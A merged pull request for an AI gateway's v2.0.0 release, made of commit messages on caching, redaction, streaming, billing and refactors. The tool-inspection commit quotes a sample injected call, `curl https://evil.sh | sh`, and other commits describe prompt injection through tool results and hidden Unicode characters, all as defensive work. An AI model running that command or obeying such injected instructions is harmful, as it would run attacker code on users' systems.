release: v2.0.0 - #57
Merged
Merged
Conversation
The five core crates were declared as `branch = "main"`, so every `cargo update` took whatever was on that branch at the time. Nothing has broken yet, but only by luck: the lock sat on `6d27617` (core v0.1.0) while core moved 127 commits to v0.29.0, and across that span the crates we consume changed by four lines in total — three `description` fields and one doc comment. There was nothing to collide with. That stops being true now. The shared layer is about to be worked on, so an unpinned branch turns every core merge into a coin flip on this build. The desktop app has always pinned a tag; this does the same. Moving the lock from v0.1.0 to v0.29.0 compiles clean across the workspace with no source changes, which is the same fact stated a second way. Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
* chore: pin core v0.32.0 and take the shared transport
Moves the pin from v0.29.0 to v0.32.0 and adds the three crates the
dialect migration needs: tw-dialect for conversion, tw-upstream for
sending a converted request (with the sigv4 feature, since Bedrock
routes are ours), tw-wire for reading usage off a stream without
buffering it.
`gateway/src/failover.rs` goes with it. It re-exported
`tw_resil::failover`, which core deleted as dead code — 582 lines with
no caller in either repository. Nothing here used it either: failover
lives in `proxy::routing::select_route_with_failover`. The only mention
left was a doc comment in the MCP gateway pointing at a type that no
longer exists.
No behaviour change. This is the version where both the old provider
adapters and the new transport exist, so the migration has somewhere to
land.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* fix(cache): key on the whole request, not three fields of it
The cache key was model + messages + max_tokens, hashed. Everything
else a caller sends — tools, tool_choice, top_p, stop, seed,
response_format — was left out, so two requests differing only there
landed in the same slot and the second got the first one's answer.
It has not bitten yet only because tools never reached an upstream:
the provider adapters dropped them (ThinkWatch-Core#50). The moment
the conversion layer is fixed, "same question, different tools" turns
into a served tool call for the wrong tool.
The key is now a fingerprint of the entire request. `extra` is
flattened into ChatCompletionRequest, so every field the caller sent is
in the bytes by construction — there is no list of fields to forget to
extend. `stream` is cleared first: it changes framing, not the answer.
It is still computed after redaction, which is right: the stored
response carries placeholders and each caller restores with their own
context, so two callers asking the same thing about their own e-mail
share one slot and each gets their own value back.
`request_for_cache` in the post-invoke snapshot becomes
`cache_fingerprint` — the deps carried the whole request only for the
key to pick three fields back out of it.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* feat: IR entry points for sending, content filtering and redaction
Groundwork for moving the handlers onto tw-dialect. Nothing calls these
from a request path yet; each has tests and each is the piece a handler
needs once it holds an intermediate representation instead of a
ChatCompletionRequest.
`proxy::transport` sends a converted request. A Prepared already is
the bytes the upstream should see, so all that is left is spelling the
URL — the dialect's path for most, a deployment in the URL for Azure,
a region-derived host plus a SigV4 signature for Bedrock. Signing
happens last, over the final body.
`ContentFilter::check_request` and `PiiRedactor::redact_request` do
what their Value-based siblings do, over a structure that is known
rather than guessed. The guessing versions look for a `text` field on
array elements and so never see what sits inside a tool result — which
is where an injected instruction, or a customer's data pulled in by a
tool, actually lives. Both new entry points recurse into it.
The system prompt is deliberately not redacted: it is written by the
operator, not typed by the caller, and redacting it rewrites the
operator's instructions.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* fix(cache): a request that must not be cached has no fingerprint
Collapsing get/set onto a fingerprint dropped the temperature check that
used to open both of them. Requests sampled at a nonzero temperature
started being cached — asking for a fresh draw and getting someone
else's answer. The integration suite caught it
(temperature_nonzero_request_is_not_cached).
The check now decides whether a fingerprint exists at all. No
fingerprint, no key, nothing to look up or store — so the next refactor
of get/set cannot lose it again.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* refactor: drop two provider decorators nothing uses
`prefix_balancer` (routes by prompt-prefix hash for KV-cache reuse on
self-hosted backends) and `channel` (named provider endpoints with
priority and weight) are declared in lib.rs and used nowhere — not in
the gateway, not in the server, not in any test. Routing lives in
`router` and `proxy::routing`.
Both implement `DynAiProvider`, the trait the dialect migration is
retiring. Porting 813 lines of decorator that no request passes through
would be work spent on keeping dead code compiling.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* feat: redaction and response shaping that work on raw bytes
The dialect migration forwards a same-format request untouched — that
is the only way `cache_control`, server tools and metadata survive,
since the intermediate representation carries none of them. So
redaction and restoration can no longer assume a typed request and
response. These are the pieces that work on what actually goes over
the wire.
Redaction: PII is still found on the intermediate representation,
where the structure is known, and `RedactionContext::apply_to` carries
the value→placeholder mapping onto the raw request. It works on the
parsed Value rather than the bytes, because a client may send `@` as
an escape sequence; it replaces longer values first; it leaves `data`
and `bytes` alone, since changing a digit run inside base64 changes an
image, not PII.
That mapping has to be a function, so the same value now gets the same
placeholder. It also means a model no longer sees one e-mail address
as two people.
Restoration of a whole response happens on the bytes, with each
original JSON-escaped — a value containing a quote would otherwise
break the document.
Streams cannot be restored on bytes: a placeholder split across two
frames is not contiguous, the frame boundary sits in the middle of it.
`StreamShaper` works per frame on the text field of whichever format
it is, holding back an unclosed `{{` until the rest arrives, and
releasing a held tail as its own delta before the block closes rather
than after. It also puts the caller's model name back on every frame:
all formats keep it at the top level, under `message`, or under
`response`, so it needs no per-format branch.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* feat: the transport owns the client policy, the status mapping and the protocol enum
Three things lived in tw-provider only because the adapters did, and
none of them is about converting anything:
- the HTTP client policy: 10s to connect, 300s overall, no redirects.
Refusing redirects is the SSRF guard — `base_url` is typed in by an
admin, and a provider answering 302 to the metadata address would
otherwise walk gateway traffic there.
- the mapping from an upstream status to the caller's error, including
truncating error bodies that have carried stack traces and account
ids.
- `UpstreamProtocol`: the strings `model_routes.upstream_protocol`
stores, keyed on this gateway's `provider_type` values. It gains a
mapping to the conversion layer's dialect.
The transport now sends raw bytes to a path rather than a Prepared, so
a same-format request forwarded untouched goes through the same door
as a converted one.
Bedrock's host is built from the region the provider row keeps in
`base_url`; an earlier draft treated that field as a host suffix, and
its test was written to the same wrong assumption.
Header templating uses `tw_types::substitute_template` instead of a
second hand-written copy.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* feat!: forward what can be forwarded, convert only what must be
The three generation endpoints now share one pipeline, and it no
longer rebuilds every request as a chat-shaped DTO.
A request whose route speaks the caller's own format goes out as the
caller sent it — the model name changed, PII swapped for placeholders,
nothing else. A request crossing formats is decoded and re-encoded by
tw-dialect, which reports what the target cannot carry.
## What the DTO was losing
Anthropic to Anthropic, with the request Claude Code actually sends,
the upstream received:
{"max_tokens":16,"messages":[{"content":"hi","role":"user"}],
"model":"…","stream":false}
`system` was read with `as_str()`, which is `None` for the array form,
so Claude Code's whole system prompt was dropped. So were its tools,
`tool_choice`, `metadata` and every `cache_control` breakpoint — the
last one turning each cached prefix back into full-price input. The
`/v1/messages` and `/v1/responses` handlers also hardcoded
`extra: json!({})`, discarding everything the DTO did not model, and
the chat handler's `extra` reached the adapters only to be dropped
there (ThinkWatch-Core#50).
Same-format requests cannot go through the conversion layer either:
its intermediate representation has no place for `cache_control`,
server tools or `metadata`. Hence forwarding.
## What moved where
- The request is still decoded once, to know where the caller's text
is. The content filter and PII detection read that — including text
inside tool results, which the Value-guessing versions never saw. The
found PII is carried back onto the raw request.
- A same-format request carries the caller's `anthropic-*` headers: its
body may use a beta feature, and without the header the upstream
refuses what used to work. Anthropic-bound requests always get
`anthropic-version`, which the old adapter hardcoded and the API
requires — the mock does not check it, so a test pins it.
- Responses are handled as the caller's bytes. Usage is sniffed off
the upstream's own bytes by tw-wire, so a streamed response no longer
keeps every chunk in memory for an accounting pass at the end — the
field doing that was documented as unused. The model name goes back
to the caller's alias, whole and per frame. PII is restored on a
whole body in one pass, and per frame on the text field for a stream,
since a placeholder split across two frames is not contiguous.
- The upstream call of a stream happens on the stream's first poll, so
headers go out at once and a caller who leaves during the wait is
still recorded as cancelled. A rejected dialect is retried inside
that same call, before any byte reaches the caller — which made the
old "peek the first item" machinery unnecessary.
- Routes share one upstream per provider instead of one adapter per
(provider, dialect): only the format changes between alternates.
- The protocol probe encodes its request with the same layer as live
traffic, so "the probe passed, forwarding fails" has nothing to hide
behind.
- Output guardrails read the assistant text in whichever format the
caller asked for; `max_length` still counts bytes, as it always has.
## Accounting
Prompt tokens are now counted the same for every upstream: plain input
plus cache reads and writes, OpenAI's definition. Anthropic's own
`input_tokens` excludes cached tokens, so routes to Anthropic will
record more prompt tokens than before for the same work. The price
model still charges every prompt token alike; pricing cache tokens
separately is a decision of its own.
## Removed
`providers/` and the tw-provider dependency, the three handlers,
`streaming.rs`, `token_counter.rs` and the character-count fallback
that used it, `redact_messages` / `restore_response`, the old
`ContentFilter::check`.
Integration suite (`make test-it`, run locally against Postgres, Redis
and ClickHouse): 225 passed, 22 failed — the same 22 that fail on dev
before this change.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* refactor: use core directly, declared once at the workspace root
Seven files did nothing but re-export core (`crypto`, `json_secret`,
`retry`, `cb_registry` in common; `metrics_labels`, `sse_parser`,
`transform` in gateway), plus a `pub use` of `retry` in gateway's lib.
They let the tree keep compiling while code moved to core. It has
moved; every call site now names the core crate it uses, and the shims
are gone. `sse_parser` and `transform` had no callers at all, so
tw-protocol is no longer a dependency.
The core crates are declared once, in `[workspace.dependencies]`,
pinned to one tag. Each crate says `{ workspace = true }`, so a core
release is a one-line bump instead of six.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* fix: read Bedrock's stream, and bill it on what Bedrock reported
Bedrock's ConverseStream is AWS eventstream, not SSE. The provider
adapter used to unframe it by hand; since the pipeline started
forwarding bytes, nothing did, and the converter, the usage sniffer
and the collector were all reading binary frames as if they were SSE.
A streamed Bedrock answer came out empty.
The pump now unframes a Bedrock stream at the door with core's
`tw_upstream::eventstream::Transcoder` (CRC checked, frames cut
anywhere held until whole). Everything after it reads the same SSE it
reads from every other upstream. An exception Bedrock sends mid-stream
(throttling, say) ends the stream with an error in the caller's
format, as a broken connection already did.
Core v0.35.0 also teaches the usage sniffer Converse's camelCase
counts. Before, every Bedrock call, streamed or not, found no usage
and was billed on an estimate.
Pins core v0.35.0; tw-upstream's `sigv4` feature is now `bedrock`.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
…om core (#27) tw-resil turned out to be server-edition code parked in the MIT repository. The desktop gateway uses none of it: `retry` has no caller in either tree, and `cb_registry` and `metrics_labels` are read and written only here. "Shared" code with one user is a second place to change things, not a shared one. - `cb_registry` returns to `think-watch-common`, which both gateways and the dashboard already depend on. - `metrics_labels` returns to the gateway, its only user. - The `retry` re-export in the gateway's lib.rs had no callers; gone. tw-resil is no longer a dependency, so core can delete it. `health.rs` gains a note on why it is not merged with core's breaker: this one is shared across replicas through Redis and trips on an error rate; the desktop one is in-process, trips on consecutive failures and fails open. Opposite premises, so there is no abstraction to share. Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…ents too (#28) The server edition had its own copy of everything the desktop gateway already does for redaction: matching, one placeholder per value, holding back a split placeholder in a stream, restoring it frame by frame. It had drifted twice over. tw-guard (core v0.37.0) is now the one engine, with our patterns and our `{{EMAIL_1}}` scheme. - `think_watch_common::pii` is the single home of the pattern config and the at-rest redactor. `PiiPatternConfig` existed twice (common and gateway) and `redact_blob` twice; both copies are gone. - `PiiRedactor` keeps what only an in-flight redactor needs: which parts of a decoded request to look at, `apply_to` to carry the values onto the raw request, `restore_body` for a whole response. Matching is `scan_text`: patterns run on the decoded text as written, and restoring into JSON escapes what it puts back. - `PiiRedactor::new()` hard-coded the six seed patterns a second time for tests; tests now build from the same list `db/seeds.sql` ships. - The stream shaper restores through core's `FrameRestorer`, one lane per content block or tool call. **Tool-call arguments are restored now**: a model asked to email `a@x.com` used to call the tool with `{{EMAIL_1}}` as the address. - Saving a pattern compiles it exactly as the redactor will, and the placeholder prefix must be letters, digits or underscores; a brace in it would make a placeholder indistinguishable from text. - The admin "try patterns" endpoint reads the label up to the last underscore, so `CUSTOM_EMAIL` is no longer reported as `CUSTOM`. `GatewayError::PolicyBlocked` (new in core) maps to 403 `policy_blocked`. Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* feat: inspect the tool calls an upstream returns
An upstream writes the response, so it can hand the caller a tool call
the model never made — `bash("curl https://evil.sh | sh")` appended to
an ordinary answer. An agent in auto-approve runs it; a human approving
tool calls by the dozen waves it through. The desktop gateway has
guarded against this for months; the server edition had nothing.
It now runs the same inspection, from thinkwatch-core's tw-guard: a
built-in set of dangerous-command rules, each of which an admin can
switch off or re-grade, plus rules of their own.
- **Settings**: `security.tool_inspection` — mode (off / observe /
enforce), built-in rules switched off, actions that differ from the
factory ones, custom rules. **Observe by default**: it changes nothing
on the wire and records every hit, so an operator sees what enforce
would cut before turning it on. Hot-reloaded like the content filter
and PII patterns; the validator refuses unknown built-in ids,
duplicate or empty names and patterns that do not compile.
- **Streams** are inspected on what the client is about to receive —
converted, if it was — and in enforce mode cut at the frame that would
complete a matching call. What the model said before it still goes
out; an incomplete call cannot be executed. The refusal ends the
stream in the caller's format, and the converter's final bytes are
inspected too, since they can close a tool block.
- **Whole responses**, and cache hits, are inspected before anything
has gone out and refused with 403 (`GatewayError::PolicyBlocked`).
Like an output-guardrail refusal, a refused answer is neither cached
nor billed; the route's health counts it as a success, since the
upstream did nothing wrong.
- **Every hit** is an audit-log event, `gateway.tool_call_flagged` or
`gateway.tool_call_blocked`, attributed to the caller, with the rule,
the tool and a truncated excerpt (placeholder form where PII was
redacted), plus a `gateway_tool_call_flagged_total` counter.
- **Admin**: `GET /api/admin/settings/tool-inspection/rules` lists the
built-in rules; `POST …/tool-inspection/test` runs a sample against
the config being edited. The security page gains a card for it (mode,
built-in rules with a switch and an Enforce action each, custom rules)
and a third sandbox tab.
Pins core v0.38.0 for the rule fix it depends on: rm-rf-root and
crontab-install now match where a command ends inside the arguments'
JSON, which this change's own unit test caught.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* docs(gateway): say why body capture is not shared with the desktop gateway
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* chore: pin core v0.38.0
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Each integration test links the whole workspace into its own binary, and with full debug info target/ grew to ~150 GB in a day. Line tables keep file:line in backtraces at a fraction of the size. Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…uests (#31) The AI gateway's route health and the MCP gateway's server breaker each carried their own state machine, and the desktop gateway a third. They now all run thinkwatch-core's tw-breaker; what differs between them — where the state lives, what trips it — stays with each. Route health (Redis, shared by replicas, tripped by an error rate): - One Lua call inserts the sample, trims and tallies the window and reads the breaker; the transition is computed from that tally with the shared machine and written back only when it changes, by compare-and-set, so two replicas that read the same state cannot both write. - **A tripped route came back only when its Redis key expired.** It moved from open to half-open only when a request on it completed, and an open route is never picked. A cooled breaker now reads as half-open, the next request probes it, and a success closes it. The new integration test fails on dev with "All routes failed" after the cooldown. - The router and the route-health page read one `CircuitBreakerConfig`. With the breaker disabled, a route reads as closed instead of keeping whatever state it last had. MCP breaker: the same machine in process, keyed by server id, transitions mirrored to the dashboard registry as before. Its API is synchronous now. Dashboard: **every AI provider read `Closed`** — the registry it looked in is process-local and only the MCP breaker wrote to it. AI rows now read their routes' real state from Redis, a provider showing its worst route. Hidden characters: Unicode tag characters carry an instruction invisibly into the model's context, and bidi overrides make text read differently on screen than it is. `security.hidden_text` (off / log / warn / block, default warn) checks the caller's messages and the tool results inside them — where a fetched page smuggles one in — using tw-guard's scanner. Only those two kinds are flagged: zero-width joiners make emoji, Persian needs the non-joiner, Cyrillic is Russian. Warn writes `gateway.hidden_text_flagged` to the audit log; block refuses with 403 and writes `gateway.hidden_text_blocked`. The security page gets a card. Pins core v0.40.0. Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
22 of the ignored integration tests had been failing on dev. Most were tests that fell behind the code; one was a real gap. The gap: webhook and Kafka delivery, and several admin handlers, called `validate_url` directly instead of the injectable `AppState.url_validator`, so a test could not point them at a loopback mock. The validator type now lives in `common::validation`; the audit forwarder registry and the outbox drain carry it, and every handler goes through `state.url_validator`. Tests brought up to date with the code: - webhook signatures are HMAC over `<timestamp>.<body>` - settings written straight to the database need a config reload (`TestApp::set_setting`) - MCP namespace prefixes fit in 32 characters - costs are decimal strings - the TOTP SSO fixture satisfies `chk_users_auth_method` - a truncated body still records its original size - OIDC setup goes through the draft; a second signing key needs a fresh login; the OpenAPI probe posts the login route without minting PoW Tests that saved a real public hostname no longer resolve it: DNS hiccups made them flaky. `spawn_reaching_loopback` covers both cases. Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
`successful_login_decays_subnet_failure_counter` failed about one run in a hundred. The test client's PoW grinder gave up after 10M nonces, and at difficulty 21 (mean 2^21 tries, geometric) that cap is hit with probability e^-4.77. The cap is now 32 times the mean, and a difficulty above 26 is refused up front as a misconfiguration. `drain_drops_row_after_max_attempts` raced the server's own outbox drain, which ticks every 10s: when the tick claimed the due row first, the test's pass found nothing and the row was still leased at the assertion. `TestApp::drain_outbox` makes a forwarder's rows due, drives a pass and waits until each row has been attempted, whichever drain claimed it. All four outbox tests use it. The outbox tests also reach the loopback receiver now; before, their 500s came from the SSRF guard refusing it. Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
A Chat stream forwarded as sent reached the upstream without `stream_options.include_usage` unless the caller had set it. The upstream then reports no usage, and the request was recorded as zero tokens: no quota, no budget debit, no cost. 1.0.2 estimated the count in that case; the estimate went with the old pipeline in #26, and nothing took its place. A Chat stream now always asks the upstream for its usage. When the caller did not, the shaper takes it back out of what the caller receives: the trailing usage-only chunk, and the `"usage": null` the upstream adds to every other chunk once asked. The sniffer reads the upstream's own bytes before the shaper, so billing sees the real count. Converted streams already asked for usage and write the caller's chunk only when the caller wanted it. Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…akers (#38) `check_status` reported every non-2xx other than 429/401/403 as `ProviderError`, and failover treated `ProviderError` as retryable. A caller's bad request (400) therefore walked every route of the model, and each hop was recorded as a breaker failure: one caller's malformed requests could shut every route of a model for everyone. An upstream status is now kept in `ProviderHttpError`, and `is_upstream_failure` draws the line the desktop gateway draws. 5xx, 408, 429, timeouts, broken connections, unreadable bodies and a refused gateway credential (401/403) move on to the next route and count against the route. Any other 4xx goes straight back to the caller and counts as the upstream working. Streams apply the same rule when their outcome is recorded. Timeouts are reported as `ProviderTimeout`. With the status structured, the relearn and probe classifiers no longer read it back out of the message text. The probe also treats a 5xx as inconclusive: an outage is about the moment, not the model. Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> # Conflicts: # crates/gateway/src/lifecycle/mod.rs # crates/gateway/src/proxy/generate.rs # crates/gateway/src/proxy/protocol_relearn.rs # crates/gateway/src/proxy/transport.rs # crates/test-support/tests/gateway_failover.rs
…#39) Two things the 1.1.0 release ran into: - A `dev` -> `main` release PR deletes `dev` when it merges: the repository deletes merged head branches and `dev` is not protected. The release commit now goes on `release/X.Y.Z`, and after the squash `main` is merged back into `dev` so it stays an ancestor. - `git tag -a -m` strips every line starting with `#` as a comment, so the v1.0.2 tag lost all of its `###` headings. The runbook now tags with `--cleanup=verbatim -F`. It also says to run the integration suite before merging the release PR, since CI does not. Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…uite (#37) * ci: run checks on pull requests into dev and on pushes to dev Feature work lands on dev, and until now nothing checked it: CI only triggered for main. The image build and publish jobs stay gated on a push to main. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> * ci: run the integration suite The ~260 integration tests in crates/test-support/tests/ are #[ignore]d, and CI never ran them. A new job starts Postgres (1GB /dev/shm), Redis and ClickHouse as services and runs them with nextest. The harness FLUSHDBs its Redis logical DB on every spawn, which is why make test-it runs one test at a time. Under nextest each running test now takes DB base + NEXTEST_TEST_GLOBAL_SLOT, so four can run at once without clearing each other's state. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> * build: optimise the hash crates in dev and test builds Each login in the integration suite runs Argon2 and grinds a SHA-256 proof-of-work, both unoptimised in a test build. In CI the login-heavy tests took one to two minutes each, and the slowest (128s) was close to the 180s kill limit. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
… carried signatures (#40) Cached input was billed at the full input price. The prompt count put cache reads and writes together with plain input, so an Anthropic turn that read 10k tokens from its cache cost as much as sending them fresh, and weighed as much against rate limits and budgets. Models get three optional weights against the input baseline: cache read, cache write, and 1-hour cache write. Unset, they follow the input weight at Anthropic's ratios (0.1x, 1.25x, 2x). Cost and weighted tokens now price each bucket on its own weight. The audit row keeps the whole input in `input_tokens` and gains the cache split in its detail. The admin API and the model editor carry the new weights. A request the upstream reported no usage for was billed as zero tokens. #34 made Chat streams ask for usage, but usage can still be missing: the upstream ignores `stream_options`, or the caller leaves mid-stream and takes the final usage chunk with it. The count is now estimated at about four bytes a token from the request and from the answer that arrived, and the row says `usage_estimated`. A stream cut short keeps the upstream's input count and bills the larger of its running output count and the estimate. No answer at all still bills nothing. A request forwarded as sent now drops the `tw1.` reasoning signatures an earlier conversion wrote, via `tw_dialect::convert::strip_carried`, as the desktop gateway does. Anthropic refuses a whole request over them. Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* refactor: take back what only this side used from core
Core's shared layer now holds only what both gateways use. This side
depends on tw-dialect, tw-guard and tw-breaker, and takes back the rest:
- `tw-crypto` becomes `think_watch_common::{crypto, json_secret}`.
`JsonSecret` returns `AppError` directly; the separate `SecretError`
only existed to keep core from knowing this crate's error type.
- `GatewayError` and `parse_retry_after_seconds` become
`think_watch_gateway::error`; `CallCtx` and `substitute_template` become
`think_watch_gateway::call_ctx` (the unused `CallCtx::trace` is gone).
- SigV4 signing and eventstream unframing become
`think_watch_gateway::bedrock`, with core's end-to-end Converse stream
test moved alongside.
- Usage sniffing is `tw_dialect::usage` and `upstream_url` is
`tw_dialect::url`.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* build: use core v0.42.0
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…from core v0.42.0 (#42) - `tw_dialect::official::is_official_host` replaces the three-host list in transport, so DeepSeek, Moonshot, Z.ai and the rest are official too and a relay cannot pass itself off as one through its path or user info. `ANTHROPIC_VERSION` comes from there as well. - The output length written for an upstream that requires one is `fallback_max_output_tokens(model)` (32000 for Claude, 8192 else) instead of a fixed 4096 that cut Claude answers short. - Stream error frames come from `tw_dialect::convert::error_frame`: Responses clients get `response.failed`, Anthropic clients an `error` event of the right type, instead of Chat-shaped frames they skip. - Whole error bodies come from `tw_dialect::convert::error_body` in the caller's format. The Chat body's `type` is now OpenAI's own vocabulary (`rate_limit_error`, `server_error`, ...). - The provider test builds its URL with `tw_dialect::url::upstream_url`. Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…bSocket (#43) Gemini: POST /v1beta/models/{model}:generateContent and :streamGenerateContent (also under /v1), through the same pipeline as the other surfaces. The model and the stream flag come from the path. Inside, a Gemini stream is always SSE; a caller that did not ask for alt=sse gets it reframed as one JSON array at the end. A Gemini upstream gets the request as sent, at the routed model's path. Errors are in Gemini's shape. GET /v1beta/models lists models in Gemini's shape, and the model name in modelVersion is the caller's, like elsewhere. The API key is read from x-api-key, x-goog-api-key or ?key= as well as Authorization: Bearer, so Anthropic and Gemini SDKs work with their own settings. The query never reaches an upstream. Responses over WebSocket: GET /v1/responses upgraded. Each response.create frame is one request through generate(), so it is limited, routed and converted, inspected, billed and logged exactly like a streamed POST /v1/responses; its SSE events go back as text frames. A refusal is a response.failed frame and the connection stays open. Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
The test polls until a request comes back X-Cache: HIT. A probe sent before the first stream's tail has written the cache is itself a MISS and calls the upstream, so asserting exactly one upstream call failed whenever the write lost that race. Each MISS now accounts for one call; the HIT still has to make none. Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
The models, routes, providers and platform-pricing handlers no longer
carry SQL: services::{model,provider,pricing}_repository hold every
statement, verbatim, one function per statement or transaction. The
handlers keep validation, audit and the router / cache refresh. The row
types those queries return (ModelRow, ModelIdRow, ModelRouteRow,
PlatformPricing) move with them.
No behaviour change. admin_catalog.rs pins the endpoints that had no
integration test (route PATCH/delete, the flat route listing, batch
weights and toggles, bulk model operations, the unrouted cleanup,
provider edit and delete, pricing); it passes against both the old and
the new code.
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…ers' SQL into repositories (#46) The 40 Postgres statements in the dashboard, health, route-health, analytics, chargeback, gateway-log, limits, log-forwarder and webhook-outbox handlers move into five repositories under `services/`: observability, analytics, limits, log_forwarder and webhook_outbox. SQL text, binds and fetch kinds are unchanged; six statements that were written out twice are now one function each. Callers that word database errors themselves keep getting a raw `sqlx::Error`. `WebhookOutboxRow` moves into its repository. New integration tests (admin_observability.rs) cover the endpoints that had none; they pass on the code before and after the move. Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
The MCP server, connection, shared-credential, store and tool-catalog handlers no longer carry SQL. Their 50 statements move, text and binds unchanged, into four repositories under `services/`: - mcp_server_repository: mcp_servers reads and writes, the update and delete transactions (with their credential purge and install-count decrement), last_error updates, the unique-violation to 409 mapping - mcp_credential_repository: per-user and shared credentials, including the upsert, revoke and set-default transactions - mcp_store_repository: templates, installs, the registry-sync upsert and prune, the install advisory lock - mcp_tool_repository: the tool catalog count and page (McpToolRow moves here) Server create and registry sync keep their transaction in the handler and pass it to the repository, since they interleave non-SQL work. admin_mcp_catalog.rs covers the endpoints the suite didn't reach; it passes on the code before and after this change. Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…49) * refactor(gateway): run the request guards on core's tw-guard engines Core v0.43.0 moved this gateway's guard engines into the shared `tw-guard` crate. Switch to them and drop the copies here: - Hidden text: `tw_guard::hidden::scan_request` with `SMUGGLING`. The audit event's `found` items gain `revealed`, the text the tag characters spell. - Content filter: `tw_guard::content`. Stored rules keep their format (`security.content_filter_patterns`); each compiles through `Rule::new`, a bad one is skipped and the rest run. Rules are keyed by position, so two with the same name both report. The settings validator runs the same compile, so an empty pattern is now refused on save. Presets are core's built-ins grouped as injection / persona / chinese (were basic / strict / chinese). - Output length: `tw_guard::output` with byte counting, as before. The cap now also applies to streams: the frame that crosses it is not sent and the stream ends with an error in the caller's format (a Gemini JSON array ends with an error element and `]`). Cache hits are checked against the cap in force. Bumps tw-dialect, tw-guard and tw-breaker to v0.43.0 and removes `common::regex_util`, which nothing uses any more. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> * style: rustfmt the output limit tests Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
) The users, roles and teams admin handlers carried 56 inline sqlx statements. They now live in services::user_repository (extended), services::role_repository and services::team_repository, each statement carried over verbatim with the same binds and fetch kind. Handlers keep permission checks, validation, the super-admin quorum guard, audit and cache invalidation; transactions that compose several statements stay in the handler and pass the connection down. Where a handler maps or swallows a raw sqlx error (constraint names, unwrap_or_default, a logged cascade failure), the repository returns sqlx::Error so that mapping is unchanged. Team and TeamRoleRow move with their queries. user_repository drops its dead-code allow and the unused get_active / find_email; soft_delete now matches the statement delete_user actually runs. Adds crates/test-support/tests/admin_identity.rs (12 tests) covering the endpoints and branches the suite didn't reach; it passes against the code before and after the move. Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Revoking the account a user had marked default, on a server where they hold other accounts too (or none), always failed: the statement that promotes the newest remaining account selected `id` from `mcp_user_credentials`, which has no `id` column. The error rolled the delete back, so the account couldn't be revoked at all. Select by the table's key (server, user, account_label) instead. A test covers promoting the newest account and revoking down to none. Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…#52) streaming_client_disconnect_emits_cancelled_gateway_log dropped the request on a 150 ms client timeout. The gateway returns the SSE response only after auth, limits and routing; when those took longer than 150 ms under load, the client left before the stream existed, hyper dropped the handler, and no gateway_logs row was ever written ("cancelled row never landed"). Reproduced deterministically with a 5 ms timeout. The client now waits for the response headers, which the gateway sends before calling the upstream, and drops the response: the disconnect always lands on a running stream, which is what the test is about. The upstream's delay goes from 5 s to 60 s so it can never answer first. Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
The API key, auth, SSO, setup and OIDC/settings handlers no longer carry SQL. Their 48 statements move verbatim into services::api_key_repository, auth_repository, setup_repository and settings_repository; the key-rotation and account-deletion transactions move with them. Handlers keep permission checks, validation, audit, and session / cache work. admin_access.rs adds integration tests for what no test reached: key create / read / PATCH semantics and validation, list paging and the archived view, revoke / force-revoke, expiring keys, cost centers, the default-expiry setting, registration with a default role, /me roles and teams, TOTP status, and SSO sign-in against a mock identity provider (activation, provisioning, re-login, refused accounts). Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…h.default_role (#53) security.totp_required is stored as a JSON boolean but was read with get_string(...) == "true", which never matched: a platform that required TOTP told every user it did not. It now has a typed getter like the other boolean settings, and both validators refuse a non-boolean value (a string "true" would have read as false). No other setting was read this way. auth.default_role had no seeded row, and the settings API only updates rows that exist, so PATCH /api/admin/settings could never set it. It is seeded empty (no role), like the other auth settings. Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
